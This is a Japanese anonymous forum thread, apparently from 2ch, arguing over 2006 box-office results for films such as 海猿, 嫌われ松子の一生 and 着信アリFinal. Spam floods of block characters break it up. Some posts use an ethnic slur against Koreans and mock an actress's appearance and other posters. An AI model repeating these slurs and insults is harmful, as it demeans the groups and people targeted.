MI3はアメリカの雑誌に海猿と同日公開ならヤバかったと書かれてたからな
見る層が丸かぶりなんだろう

つーかこれアフォの自演じゃねーのか？

誰だよタイヨウがバルト抜くとか言ってたヤツ。
タイヨウは長く稼ぐとかいってたけどこれじゃ息が短いな。
２０億予想出てたけど、最終７億ぐらいか？

>>648
もひとつ不撓不屈も角川ヘラルド製作じゃなくて配給委託元
企画・製作は綾部さんとこのルートピクチャーズ

>>664
え、そうなんですか？
ちなみにウルトラヴァイオレットってどうなんでしょうね？
一応8位にランクインみたいですが話題を聞かない････

なずなの自演祭り
Nw1JQJIg
rMDpuv52

>>670
誤解されてるようですが自分はただの業界志望初心者ですｗ

すいません。少しスレ違いですが
かちゅ〜しゃでＩＤだけであぼ〜んは出来ないのですか
いちいちレス番号にあぼ〜んしなきゃならないのは疲れる

>>671
あなたがレスしている相手は無職引きこもりの中卒50代オヤジでキチガイです。

>>662
＞黒沢清の映画は前に見ましたが自分は理解できませんでした････。

渋谷シネマヴェーラで全作品上映をしているけどね。
娯楽映画も多いけど、基本的にはわけわからんかな。
「CURE」が一般には一番有名かな。怖いというか気色悪い映画。

>>667
数字がわからないから
バルトが頑張ったのかタイヨウが沈んだのかわからない。
先週みたいに凄い差だったら笑う。

>>667
＞タイヨウは長く稼ぐとかいってたけどこれじゃ息が短いな。

監督の「泣かせます・・的な映画にはしたくなかった」、これはいけない。
泣かせないと。
できは悪くないけど、やるんならもっとはでに。そこが結局は、東宝との
差なんだよね。

>>654
＞それでも出資するところ有るんだから何処かに金があるんだろ

ホラー映画の大半は、レイトショーでひっそり公開されるような映画だけど、
あの手の映画の大半は採算割れらしいよ。
先般の映画ファンドでも証明されたように、映画で儲けようなんて甘いって
ことでしょう。一部が大もうけして、あとは悲惨な目にあっていると。

>>631
＞嫌われ松子が完全に消えちゃった

役者をないがしろにするからだよ。
あと、映画は断片（エピソード）の組み合わせじゃない。
そこがわかっていない、一発屋監督の映画だから消えた。
中谷美紀は「７月24日」の製作発表で、「気持ちを切り替えて・・」みたいな
ことを言っていたから、本当にとことん嫌な監督だったんだなあと。
CM界の大御所かもしれないけど、「下妻」しか実績ないのに。今や行定勲
気取り。嫌なやつだ。

（続き）
「松子」の中島哲也は、まるで行定勲気取りだと書いた。
「下妻物語」は確かに00年代を代表する傑作だが、彼は46歳。

中島が自らと並んでいると勘違いしている行定勲監督は、37歳。
この実績を見よ！　中島、お前とは天地の差だ！！

劇場デビュー作『ひまわり』は、第5回釜山国際映画祭で国際批評家連盟賞を受賞。
『GO』（第25回日本アカデミー賞作品賞・最優秀主演男優賞・最優秀助演男優賞・
最優秀助演女優賞）の成功で一躍脚光を浴び、『世界の中心で、愛をさけぶ』、
『北の零年』、『春の雪』などの監督作品で不動のヒットメーカーとなった。

海猿は70億に行ってしまうんだな・・。
当初は前作の2倍程度という予想が殆どだったよね。
こういう予想を覆す大ヒットが今後も出てくれるといいな。
洋画邦画に問わずね。

松子のコケは監督というより、中谷の人気のなさにあるんだろう。
７月２４日は竹内がドタキャンして天下った作品だよね。なかなか
中谷にいい話しはこないみたいだね。

松子が良作の割にのびなかったのは女の転落人生に共感したいと思う
女性観客が少なかったからじゃないかー？
なんつうか男の俺が観ても転落人生が伝染してきそうな映画だったよ

「着信アリFinal」土日の興収が１億4700万円を超える好スタート。

http://www.walkerplus.com/movie/ranking/hit.html

え？松子こけたの？良作って評判なのに。
それと海猿はどういう経緯でこんなにヒットしたの？
ドラマがそんなに面白かったという印象ないんだけど

>>684
こけてはないよ
ただ、宣伝が長期だったり深夜に特番を組んだ割にのびなかった

海猿は７０億越え難しくなったな。

>>683
着信アリ２
〜2月6（日）　2日間　16万5000人　2億1600万円　全248館　前作対比95.3%

松子ってとんでもない駄作。
前世紀の映画かよｗ
終わってる。

>>683
好スタートと言ってるけど着信シリーズの中では
前作・前々作を下回る最低のスタート。
アジアでどれだけの利益を見込んでるんだろうか・・。

>>681
このスレではSDというくくりで批判的に語られる中谷美紀だけども、普通に
見てあの世代ではだんとつにうまい女優だと思う。
が、同じSDで、顔や雰囲気が似ている柴咲コウにおいしい所をとられ、ここの
ところ冴えなかった。
そのピークは「電車男」映画版。あの中谷しか知らないなら、けなすよね。
しかし、このところ彼女の本領を発揮する場が増え、「疾走」で批評家をうな
らせ、「松子」はあんなひどい監督の下でも力演、さらには運も巡って
「７月24日」の主役に。
彼女はものすごく力のある女優なので、いずれはトップに立つと思う。

ネアンデールタール人みたいなゴリラ顔だし
いずれ終わっていく女優だろうな中谷ｗ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

着信は順調に数字を落としてるな。
最終10億越えは無理だろう。

>>687
「着信アリFinal」は、私は結構いけるのではないかと思っていた。
理由は、ホラーというよりもBRのように、殺し合いを見せる要素を
強めた点が新鮮に見えるのでは。
さらに、雑誌などへW主演の露出が激しいが、ともに同性にも人気の
ある女優で、デートムービーにも選択されるのではと。
しかし、あまりに内容が悪いという報告が続き、それを変更していた
最中。が、出だしを見ると想像通りでしょ。今の環境で５億なら
成功といえる。それくらい環境が悪い。

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

>>688
「松子」を「前世紀の映画」「駄作」と書いているけど、それはどう
かな。
まず、前世紀の映画というのは、暗い、じめじめ、内向的、が主流。
「松子」は暗い話を、ちゃんと暗くやらなかったのが失敗。
さらに、「駄作」ではないよ。失敗作。何かが間違えているという
感じに近い。駄作という言葉は、松竹「天使」、東映「同じ月を見て
いる」などに適切。

もうチョンを絡めると売れないってのは定説なのにな。
いつまでしょっぱい商売してんだよ、消費者に見透かされてんぞ。

作りが緩いだけに製作費のほとんどは海外販売で回収できてるんだろう。
最初の着信アリは世界中のbox officeで良く見かけた。

松子は原作どおりの雰囲気を再現していたら、とても最後までみていられないような
重い暗い映画になってるよ。
駄作やら失敗やら言ってるやつはちゃんと観てるのか？
それとも鑑賞眼がｼｮﾎﾞｲとしか思えない。

中谷ヲタウザｗ
失敗作ってｗ松子は駄作だよ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

着信アリＦで「修学旅行は韓国！！イエ〜〜〜ィ！！」みたいなシーンがあったけど
あれでかなりの客が引いたと思うね。

おいおい　松子を褒めれば中谷ｵﾀかよ
正直中谷美紀を良いと思ったことは一度もなかった、松子を観るまでは
現在でも悪くない女優だと思うに至った程度。
しかし、嫌われ松子は作品として非常に良く出来ている、と思ったわけだ

中谷ヲタっつーか
下妻が面白かったから松子も面白いはずだ！ってだけでしょ。

あんな駄作の松子を作品スレならいざしらず
こんなところでマンセーしてるのは、
中谷ヲタしかいないｗ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

>>709
どんな理屈だよ、それ？w
下妻は観ていない。理由はその当時興味を持たなかったから。
松子は興味をひかれたから観た。そして松子は非常に良かった。

>>710
思い込みの激しいやつはどうしようもないという見本だな
おまえのことだ

松子は駄作ｗ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

もう松子なんて終了間際な映画の話なんてどうでもいい。
正直言って、松子ヲタはウザいよ。
他の作品スレで宣伝活動やマンセーしてるなんて見苦しい。

>>695
最近露出凄いけど、同性には人気無さげ
ドラマ板でもジャニヲタ腐女子にボロクソ言われてる
番宣出ても凄いブリッコぶりで嫌われるのもなんとなく納得＜堀北

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
